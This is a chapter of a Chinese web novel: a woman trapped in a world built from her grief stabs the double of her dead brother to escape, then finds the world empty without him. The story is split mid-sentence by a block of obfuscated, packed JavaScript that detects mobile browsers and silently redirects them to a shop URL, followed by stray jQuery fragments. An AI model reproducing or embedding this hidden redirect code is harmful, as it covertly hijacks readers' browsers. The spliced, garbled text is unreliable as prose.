渐渐地,岑旭湖看到眼前有很多发光的色彩在跳动,眼球疼到好像要脱离眼眶。意识模糊间,她忽然想到,这类似的动作她在校门口对徐二娟做过,逼到徐二娟几乎无法呼吸。 眼泪从眼眶里滑出,但她已经没有感觉了,她垂下头,忘记了挣扎。 弟弟的胳膊上落下一行水珠,他愣了片刻松开手,将黑色布条再次缠上岑旭湖的眼睛。 岑旭湖连呼吸都没有力气了,她想咳嗽,但嘴巴被胶布粘住了,气息全部憋在喉管里,口腔里一股腥甜的血味。 眼眶生疼,眼前什么也看不见,她拼命提气呼气试图让自己缓和些,五脏六腑却随着这动作开始疼,像被砸碎般的疼。 “害怕吗?”弟弟的声音在耳边响起。 他终于能将她的头发攥在手里,就算有风吹开又怎样,他想要掌握住的东西,最终还不是如愿以偿。 “这就是我这九年的感受,我被你困在这个地方,出不去走不掉,只能听你一直不停地说,不停地哭。你开心的时候从来不会想起我,难过的时候却要让我和你一起难受,凭什么我要接受你全部的负面情绪!就算不想听也躲不掉,岑旭湖,既然你那么想念你弟弟,怎么不和他一起去死呢。” 他看着面前陡然僵住的人,心里的愤恨再也刹不住了。 “想念是这个世界上最廉价的补偿,什么都不用付出,流两滴眼泪伤几次心而已,你什么都没失去。你真的后悔吗,真的不想让你弟弟死吗?” “那为什么不留下来陪我?我就是你弟弟啊,我和他一模一样,我比他更乖,你不是希望他这样的吗?怎么不敢留下来了。” “因为你本来就是个自私的人。”他为她盖棺定论,“你只想着自己。” 椅子上的岑旭湖一动不动,她在某个瞬间突然停止了挣扎,整个人安静的像是一尊塑像,甚至看不到她的呼吸。 弟弟还有好多话要说,可是看到她这样毫无反应的样子,只好走过去解开她眼上的布条。 她充血通红的双眼定定看着他。 好像要把他看穿。 “你很想说话是吗?是不是有很多疑问想要和我交流?”弟弟看到她这样子,终于心满意足地笑了,“这九年我也是这样的。” “我也很想和你说说话,但是我的嘴巴被你封住了,我怎么喊怎么说你都不听。怎么样,很难受吧,这就对了。” 这样说着,他还是揭下了岑旭湖嘴巴上的胶布。 “我没你那么残忍,想说什么就说吧。” 岑旭湖没有说。 她现在总算是彻底搞清了眼前这个人的真相。 当他有形的那一刻,其实他就不是脑海里任她摆布的想法了,他成了这个世界里自由蔓延的幽灵,拥有她所有的记忆,知道她全部心声。 所以当她来到这个世界,他才能对症下药般一次次精准地攻破她的心防。 “你模仿的很像。”岑旭湖说。 他笑了,“我本来就是呀。” “但有一点,你还是没有做到。”岑旭湖失望地看着他。 “不可能!”他瞪大眼睛,一脸被挑衅的愤怒,“全世界只有我最了解你。” 这次换到岑旭湖笑了,尽管整个人被牢牢绑住,脸和脖子红肿一片,如此狼狈的情形下,她看向对面的眼神中依然有鄙夷和不屑。 “说啊。”弟弟气恼地催促她,他倒要听听她能说出什么花样。 “你……”岑旭湖刚开口就是一阵剧烈的咳嗽,好不容易咳完,她已经发不出什么声音了,只能用气声说话。 弟弟听不清,快步靠近她,皱着眉头贴近她的嘴巴。 岑旭湖垂下眼盯着近在咫尺的“弟弟”,他和她的亲弟弟长得一模一样。 可是死人就是死了,执念再真,也是假的。 她陷进了执念的泥潭里,再不出来就会被吞噬得一干二净。 她抬手,毫不犹豫地将手里的钢针狠狠扎进面前这个人的脖子里。 “噗”一声,鲜血飞进了她眼中。 她没有闭眼,也没有松手,像刚才他桎梏住自己那样,牢牢地禁锢住他的肩膀,任由那根钢钉埋进他的身体里。 她眼睁睁地看着他从震惊到痛苦,再到整个人完全脱力地栽倒在地上。 岑旭湖的双腿还被绑着,来不及腾出手给自己解开绳子,她随着他的倒下,直直跪在他身前。 “你……你真的……真的杀了我。” 弟弟的脖子和衣服都被鲜血染红了,一句话说的破碎沙哑。他满嘴都是血,颤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105448|149200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抖着想要抬起手。 岑旭湖没管他。 她坐在地上快速解开腿上的麻绳,手撑着地面站起来,却没站稳,又扑到了地上。幸好手肘在地上撑了一下,才没压到身旁的人。 他的嘴角还在向外涌着血沫,脖子处淌出的鲜血已经蔓延到了岑旭湖脚下。 “姐……姐姐。”他的声音像轻风,不留神就刮走了。 岑旭湖咬着牙再次站起来,在跌倒之前伸手扶住墙面,面无表情地快步走出去。 弟弟还在身后喊她。 她告诉自己,是假的。 都是假的。 【不破不立,不死不生】 打破自己的执念,关键就在于执念中心的那个人,也就是“弟弟”。 只有他死了,这个世界才会被打破,她才能回到她的世界里去。 刚才他自己也承认了,他不是弟弟,他只是经年累月达成的想法。 一个人想要消灭自己的想法,没有错。 她想要活着,没有错。 岑旭湖告诉自己,做得好,现在只需要快速离开这里,别回头。 身后的一切都是假的,躺在血泊中的不是真正的人。 别回头。不要后悔。 走。 她飞快地走出家,虚浮酸软的双脚踏在坑坑洼洼的土地上,却好像踩进了棉花里。 她咬着牙大步往前跑,只要能远离身后那个家,哪里都好。 “轰——”一声巨响。 什么轰然倒塌的声音,大地在震颤。 这声音不算陌生。 她摔倒在地上,不由自主地回头看。 是她的家塌了。 果然。 让“弟弟”死去,这个世界才会崩塌。 他活着,真实世界的她就会死;他死了,她才能离开这里活下去。 岑旭湖坐在地上,到这时候整个人控制不住地开始发抖,她的手上还有“弟弟”的血。 他说自己有血有肉,果然就和真实的人类一样。 她把手掌按在身下的土地上,用泥土擦去手上和身上的鲜血,擦着擦着,眼泪控制不住的掉下来。 ——姐姐,你还想要再害死我一次吗? 他说的话像梦魇一样飘荡在耳边。 岑旭湖捂住耳朵,沾了血的泥土蹭到她脸上,砂砾摩擦皮肤的刺痛让她忽然想到了刚才刺向弟弟的钢钉。 那根钢钉是她从自己被绑住的椅子腿上拔下来的。 当时她的双手被弟弟反绑在椅子上,她在椅子腿上摸到了那根用于固定的钢钉。 感谢这个破破烂烂的家,当时岑旭湖心里长舒一口气,这把用了不知道多少年的破椅子骨架松散,钢钉虚虚地固定着,用手拨弄时还会轻微晃动。 岑旭湖知道自己有救了。 弟弟虽然将绳子缠的密密麻麻,却并不紧实,她从绳子缝隙里身后,努力了很多次后终于拔下了那根钢钉。 可是…… 当初弟弟害怕她受伤流血,家里的一切不是都被他仔细地包裹住了吗? 为什么会有这个“漏网之鱼”? ——全世界只有我最了解你。 脑海中电光火石间,她好像明白了什么。 岑旭湖从地上爬起来,不顾一切奔向那个已经倒塌成废墟的房子。 灰尘如云从地面腾起,满地砖石碎块。本该躺在废墟之下的那个人不见了,连满地的鲜血都消失无踪,好像这个世界从来没有一个笑起来喜气洋洋的孩子,也没有人对她歇斯底里过。 岑旭湖爬到废墟上,搬开一块巨大的碎石,那下面压着一把断裂的椅子,椅子被砸得稀巴烂,一碰就散架了。 阳光下,断裂的椅子腿上反射着冰凉的光,那短短一截被敲进去了七八根钢钉,轻轻用力就能取下来。 岑旭湖握着一截椅子腿,木刺扎进她的皮肤里,渗出了细小的血珠。 她环顾四周,天上地下静寂无声,再也听不到有人喊她姐姐了。 原来失去执念的世界这么可怕。